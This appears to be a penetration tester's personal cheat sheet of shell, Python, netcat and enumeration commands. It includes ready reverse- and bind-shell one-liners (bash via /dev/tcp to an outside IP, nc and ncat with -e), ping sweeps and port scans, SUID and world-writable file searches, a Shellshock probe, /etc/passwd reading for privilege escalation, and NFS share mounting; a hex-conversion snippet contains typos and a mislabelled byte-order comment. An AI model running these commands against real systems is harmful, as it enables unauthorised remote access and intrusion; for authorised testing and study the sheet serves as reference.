Shell and Linux / UNIX

shell / bash reference

tee – send stdin to output file -a to append

File search

find / -iname sdb* -exec {} \; – find files and execute command on the results
cut -d”/“ -f3 – cut on the delimiter “/“ and the 3rd field
find / -perm -4000 -print – Find all SUID files
find / -perm -4000 -exec ls -l {} \;
find / -perm -2000 -print – Find all SGID files
find / -perm -2 ! -type l -ls 2>/dev/null – find world writeable files

Scripting

$1 first argument of script

for script

for name in $(cat filesname.txt); do
    some commands with $name variable 
done

IFS – Line seperator
export IFS=$'\n' – loop onm line

Ping Sweep – for i in $(seq 1 254); do ping -c 1 10.11.1.$i; done
Port Scan – for i in $(cat portlist.txt); do nc -nv -w1 -z 10.11.1.8 $i; done

if

if [-z “$1”]; then  #if exists value in variable $1
    some commands
fi

redirect StdErr to StdOut

2>&1
command 2> /dev/null – Ignore stderr

Rsverse Shells

revserse shell (bash – linux)

bash -i >& /dev/tcp/192.168.30.5/443 0>&1
bash -c 'echo 1> /dev/tcp/x.x.x.x/x && echo open || echo false' – check to see a port is open

Netcat

  • client mode – nc -nv 127.0.0.1 25
  • Server mode – nc -nlvp 4444
  • Server run command when connecting to port (bind shell) – nc -lvp 4444 -e cmd.exe
  • port scan – nc -nvv -w -l -z $ipaddress $startport-$endport
  • UDP – -u argument

reverse shell

  • setup netcat server (listener)
  • nc -nv 127.0.0.1 25 -e /bin/sh – connect client to server

ncat

  • encrypted netcat rewrite
  • bind shell – ncat -lvp 4444 -e cmd.exe —allow 192.168.4.4 —ssl
  • client – ncat -v 192.168.3.2 4444 —ssl

Fixing the Shell

  • use python pty
  • Set TERM=xterm-color
  • background reverse shell run stty raw -echo

fix shell script – linux

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-color
stty rows 50 cols 132

tcpdump

-A – Print each packet (minus its link level header) in ASCII. Handy for capturing web pages.

Python Reference

Python TTY – python -c 'import pty;pty.spawn("/bin/bash")'
Python Web server – python -m SimpleHTTPServer 8000

HEX conversion

import struct
hex(strict.unpack("I", "VALUE")[0])     # native order
hex(strict.unpack(">I", "VALUE")[0])    # big endian
hex(strict.unpack("<I", "VALUE")[0])    # big endian
struct.pack("I", 0x2323323)             # convert to binary string

python ftp server

# Install pyftpdlib
pip install pyftpdlib

# Run (-w flag allows anonymous write access)
python -m pyftpdlib -p 21 -w

Enumeration

Basic Linux Privilege Escalation
Penetration Testing Methodology – 0DAYsecurity.com

  • What’s the OS? What version? What architecture?
    cat /etc/*-release
    uname -i
    lsb_release -a (Debian based OSs)

  • Who are we? Where are we?
    id
    pwd

  • Who uses the box? What users? (And which ones have a valid shell)
    cat /etc/passwd
    grep -vE "nologin|false" /etc/passwd

  • What’s currently running on the box? What active network services are there?
    ps aux
    netstat -antup

  • What’s installed? What kernel is being used?
    dpkg -l (Debian based OSs)
    rpm -qa (CentOS / openSUSE )
    uname -a

Exploits

Shell Shock

env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id

mysql

1b4400a94f4139f97cae66661f674d81.png

NFS

showmount -e IP – list exports
showmount -a IP – list all mount points
mount -f nfs -o vers=3 IP:SHARE DIR – mount NFS share

  • you can set a local user to match user/group
  • export settings
    • "root_squash" – map root user to nobody
    • "no_all_squash" – blocks mapping of other UID to nobody

links